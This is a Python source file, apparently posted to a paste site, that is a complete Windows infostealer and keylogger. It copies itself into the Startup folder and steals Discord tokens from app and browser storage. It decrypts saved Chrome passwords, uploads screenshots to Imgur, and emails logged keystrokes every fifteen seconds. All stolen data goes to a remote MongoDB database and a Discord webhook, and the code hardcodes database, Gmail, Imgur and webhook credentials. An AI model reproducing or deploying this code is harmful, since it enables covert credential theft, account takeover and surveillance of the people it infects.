· 4 years ago · Mar 30, 2021, 03:50 PM
1"""Imports"""
2import argparse
3import subprocess
4import keyboard
5import smtplib
6import time
7import pymongo
8import ssl
9import os
10import stat
11import json
12import base64
13import ctypes
14import re
15import csv
16import dns
17import dropbox
18import sys
19import sqlite3
20import win32crypt
21import pathlib
22import shutil
23import urllib.request
24import json
25import pyscreenshot
26from urllib.request import Request, urlopen
27from Crypto.Cipher import AES
28from threading import Timer
29from email.message import EmailMessage
30from datetime import datetime, timedelta
31from email.mime.multipart import MIMEMultipart
32from email.mime.text import MIMEText
33from email.mime.base import MIMEBase
34from email import encoders
35from imgurpython import ImgurClient
36import pyimgur
37
38
39"""Date and Time"""
40now = datetime.now()
41today = datetime.today()
42current_time = now.strftime("%H:%M")
43current_date = today.strftime("%B %d, %Y")
44if current_time >= '12:00':
45 current_time = today.strftime("%H:%M PM")
46elif current_time < '12:00':
47 current_time = today.strftime("%H:%M AM")
48
49"""Auth and Logins"""
50user = os.getlogin()
51path = pathlib.Path.home()
52mongo_uri = "mongodb+srv://sarjan:sarjan123@keylogger.d6vpf.mongodb.net/keylogger?retryWrites=true&w=majority"
53client = pymongo.MongoClient(mongo_uri)
54mydb = client["keylogger"]
55mycol = mydb['users']
56external_ip = urllib.request.urlopen('https://ident.me').read().decode('utf8')
57print(external_ip)
58chromestring = str("Chrome info of " + user)
59mychromecol = mydb[chromestring]
60SEND_REPORT_EVERY = 15 # in seconds, 60 means 1 minute and so on
61EMAIL_ADDRESS = "moneyball2006@gmail.com"
62EMAIL_PASSWORD = "sarjanshah123!"
63CLIENT_ID = "70ebd0d560f3782"
64client_secret = '75eb4912c81045886018b38b144705184b1675be'
65im = pyimgur.Imgur(CLIENT_ID, client_secret)
66
67
68
69
70"""MongoDB Collection"""
71dict = {'user': user, 'ip': external_ip, 'date': current_date, 'time': current_time}
72result = mycol.find_one({"user": user})
73if result:
74 print("user", user, "already in db")
75else:
76 x = mycol.insert_one(dict)
77 print('added user', user, 'to DB!')
78folder = 'C:/Users/' + user + '/logs'
79
80
81
82check = os.path.exists(folder)
83if check == False:
84 os.mkdir('C:/Users/' + user + '/logs')
85elif check == True:
86 print('Directory', folder, 'already exists!')
87
88
89
90
91
92startuploc = 'C:/Users/' + user + '/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup'
93transferlocation = folder
94pwd = os.getcwd() + '/windows.exe'
95shutil.copy(pwd, startuploc)
96if os.path.exists(transferlocation):
97 print('dir alr there')
98 shutil.copy(pwd, transferlocation)
99else:
100 os.mkdir('C:/Users/' + user + '/Documents/logging')
101 print('made directory!')
102 time.sleep(1)
103 print(transferlocation)
104 print(pwd)
105 shutil.copy(pwd, transferlocation)
106
107
108
109
110
111# your webhook URL
112WEBHOOK_URL = 'https://canary.discord.com/api/webhooks/806029932672974858/XqaAeMpu5bBYie9z2ZTQlP9H9gMrJX-fADe5mcvzxgNetG124Tp2fn4QK9wc1MnEseyc'
113
114# mentions you when you get a hit
115PING_ME = False
116
117
118
119
120
121"""Screenshotter"""
122def screenshots():
123 mysscol = mydb['Screenshots']
124 count = 1
125 piccount = 0
126 while count > 0:
127 if keyboard.is_pressed('i'):
128 piccount += 1
129 image = pyscreenshot.grab()
130 savename = f'ss{piccount}.png'
131 image.save(savename)
132 print('saved screenshot!', savename)
133 dropbox_path = "/screenshots"
134 computer_path = os.getcwd() + '/' + savename
135 uploaded_image = im.upload_image(path = savename, title = user + savename)
136 upimlink = {"User":user, "link": uploaded_image.link, "time": current_time, "date": current_date}
137 print(uploaded_image.link)
138 mysscol.insert_one(upimlink)
139 time.sleep(5)
140"""Discord Token Stealer"""
141def find_tokens(path):
142 path += '\\Local Storage\\leveldb'
143 tokens = []
144 for file_name in os.listdir(path):
145 if not file_name.endswith('.log') and not file_name.endswith('.ldb'):
146 continue
147 for line in [x.strip() for x in open(f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]:
148 for regex in (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}', r'mfa\.[\w-]{84}'):
149 for token in re.findall(regex, line):
150 tokens.append(token)
151 return tokens
152def discord():
153 local = os.getenv('LOCALAPPDATA')
154 roaming = os.getenv('APPDATA')
155 paths = {
156 'Discord': roaming + '/Discord',
157 'Discord Canary': roaming + '/discordcanary',
158 'Discord PTB': roaming + '/discordptb',
159 'Google Chrome': local + '\\Google\\Chrome\\User Data\\Default',
160 'Opera': roaming + '\\Opera Software\\Opera Stable',
161 'Brave': local + '\\BraveSoftware\\Brave-Browser\\User Data\\Default',
162 'Yandex': local + '\\Yandex\\YandexBrowser\\User Data\\Default'
163 }
164 message = '@everyone' if PING_ME else ''
165 for platform, path in paths.items():
166 if not os.path.exists(path):
167 continue
168 tokens = find_tokens(path)
169 if len(tokens) > 0:
170 for token in tokens:
171 mycol = mydb['discordtokens']
172 dsctoken = {'user': user, 'token': token, 'platform': platform}
173 mycol.insert_one(dsctoken)
174 headers = {
175 'Content-Type': 'application/json',
176 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11'
177 }
178 payload = json.dumps({'content': message})
179 try:
180 req = Request(WEBHOOK_URL, data=payload.encode(), headers=headers)
181 urlopen(req)
182 except:
183 pass
184"""Chrome Stealer"""
185def get_chrome_datetime(chromedate):
186 """Return a `datetime.datetime` object from a chrome format datetime
187 Since `chromedate` is formatted as the number of microseconds since January, 1601"""
188 return datetime(1601, 1, 1) + timedelta(microseconds=chromedate)
189def get_encryption_key():
190 local_state_path = os.path.join(os.environ["USERPROFILE"],
191 "AppData", "Local", "Google", "Chrome",
192 "User Data", "Local State")
193 with open(local_state_path, "r", encoding="utf-8") as f:
194 local_state = f.read()
195 local_state = json.loads(local_state)
196
197 # decode the encryption key from Base64
198 key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
199 # remove DPAPI str
200 key = key[5:]
201 # return decrypted key that was originally encrypted
202 # using a session key derived from current user's logon credentials
203 # doc: http://timgolden.me.uk/pywin32-docs/win32crypt.html
204 return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]
205def decrypt_password(password, key):
206 try:
207 # get the initialization vector
208 iv = password[3:15]
209 password = password[15:]
210 # generate cipher
211 cipher = AES.new(key, AES.MODE_GCM, iv)
212 # decrypt password
213 return cipher.decrypt(password)[:-16].decode()
214 except:
215 try:
216 return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])
217 except:
218 # not supported
219 return ""
220def mainpass():
221 # get the AES key
222 key = get_encryption_key()
223 # local sqlite Chrome database path
224 db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local",
225 "Google", "Chrome", "User Data", "default", "Login Data")
226 # copy the file to another location
227 # as the database will be locked if chrome is currently running
228 filename = "ChromeData.db"
229 shutil.copyfile(db_path, filename)
230 # connect to the database
231 db = sqlite3.connect(filename)
232 cursor = db.cursor()
233 # `logins` table has the data we need
234 cursor.execute("select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created")
235 # iterate over all rows
236 for row in cursor.fetchall():
237 origin_url = row[0]
238 action_url = row[1]
239 username = row[2]
240 password = decrypt_password(row[3], key)
241 date_created = row[4]
242 date_last_used = row[5]
243 if username or password:
244 print('added chromeinfo')
245 #print(f"Action URL: {action_url}")
246 #print(f"Username: {username}")
247 #print(f"Password: {password}")
248 else:
249 continue
250 if date_created != 86400000000 and date_created:
251 before864 = {"Creation date": {str(get_chrome_datetime(date_created))}}
252 if date_last_used != 86400000000 and date_last_used:
253 after864 = {"Last Used": {str(get_chrome_datetime(date_last_used))}}
254 #print("="*50)
255 chromepass = {"OriginUser": user, "IP": external_ip, "Origin URL": origin_url, "Action URL": action_url,
256 "Username": username, "Password": password, "Creation Date": (get_chrome_datetime(date_created))}
257 mychromecol.insert_one(chromepass)
258
259 cursor.close()
260 db.close()
261 try:
262 # try to remove the copied db file
263 os.remove(filename)
264 except:
265 pass
266
267
268class Keylogger:
269 def __init__(self, interval, report_method="email"):
270 # we gonna pass SEND_REPORT_EVERY to interval
271 self.interval = interval
272 self.report_method = report_method
273 # this is the string variable that contains the log of all
274 # the keystrokes within `self.interval`
275 self.log = ""
276 # record start & end datetimes
277 self.start_dt = datetime.now()
278 self.end_dt = datetime.now()
279
280 def callback(self, event):
281 """
282 This callback is invoked whenever a keyboard event is occured
283 (i.e when a key is released in this example)
284 """
285 name = event.name
286 if len(name) > 1:
287 # not a character, special key (e.g ctrl, alt, etc.)
288 # uppercase with []
289 if name == "space":
290 # " " instead of "space"
291 name = " "
292 elif name == "enter":
293 # add a new line whenever an ENTER is pressed
294 name = "[ENTER]\n"
295 elif name == "decimal":
296 name = "."
297 else:
298 # replace spaces with underscores
299 name = name.replace(" ", "_")
300 name = f"[{name.upper()}]"
301 # finally, add the key name to our global `self.log` variable
302 self.log += name
303
304 def update_filename(self):
305 # construct the filename to be identified by start & end datetimes
306 start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
307 end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
308 self.filename = f"keylog-{start_dt_str}_{end_dt_str}"
309
310 def report_to_file(self):
311 """This method creates a log file in the current directory that contains
312 the current keylogs in the `self.log` variable"""
313 # open the file in write mode (create it)
314 with open(f"{self.filename}.txt", "w") as f:
315 # write the keylogs to the file
316 print(self.log, file=f)
317 print(f"[+] Saved {self.filename}.txt")
318
319 def sendmail(self, email, password, message):
320 # manages a connection to an SMTP server
321 realmessage = 'User: '+ user, message
322 server = smtplib.SMTP(host="smtp.gmail.com", port=587)
323 # connect to the SMTP server as TLS mode ( for security )
324 server.starttls()
325 # login to the email account
326 server.login(email, password)
327 # send the actual message
328 server.sendmail(email, email, realmessage)
329 # terminates the session
330 server.quit()
331
332 def report(self):
333 """
334 This function gets called every `self.interval`
335 It basically sends keylogs and resets `self.log` variable
336 """
337 if self.log:
338 # if there is something in log, report it
339 self.end_dt = datetime.now()
340 # update `self.filename`
341 self.update_filename()
342 if self.report_method == "email":
343 self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
344 elif self.report_method == "file":
345 self.report_to_file()
346 # if you want to print in the console, uncomment below line
347 # print(f"[{self.filename}] - {self.log}")
348 self.start_dt = datetime.now()
349 self.log = ""
350 timer = Timer(interval=self.interval, function=self.report)
351 # set the thread as daemon (dies when main thread die)
352 timer.daemon = True
353 # start the timer
354 timer.start()
355
356 def start(self):
357 # record the start datetime
358 self.start_dt = datetime.now()
359 # start the keylogger
360 keyboard.on_release(callback=self.callback)
361 # start reporting the keylogs
362 self.report()
363 # block the current thread, wait until CTRL+C is pressed
364 keyboard.wait()
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379if __name__ == "__main__":
380 time.sleep(1)
381 discord()
382 mainpass()
383 screenshots()
384 keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="email")
385 keylogger.start()
386
387
388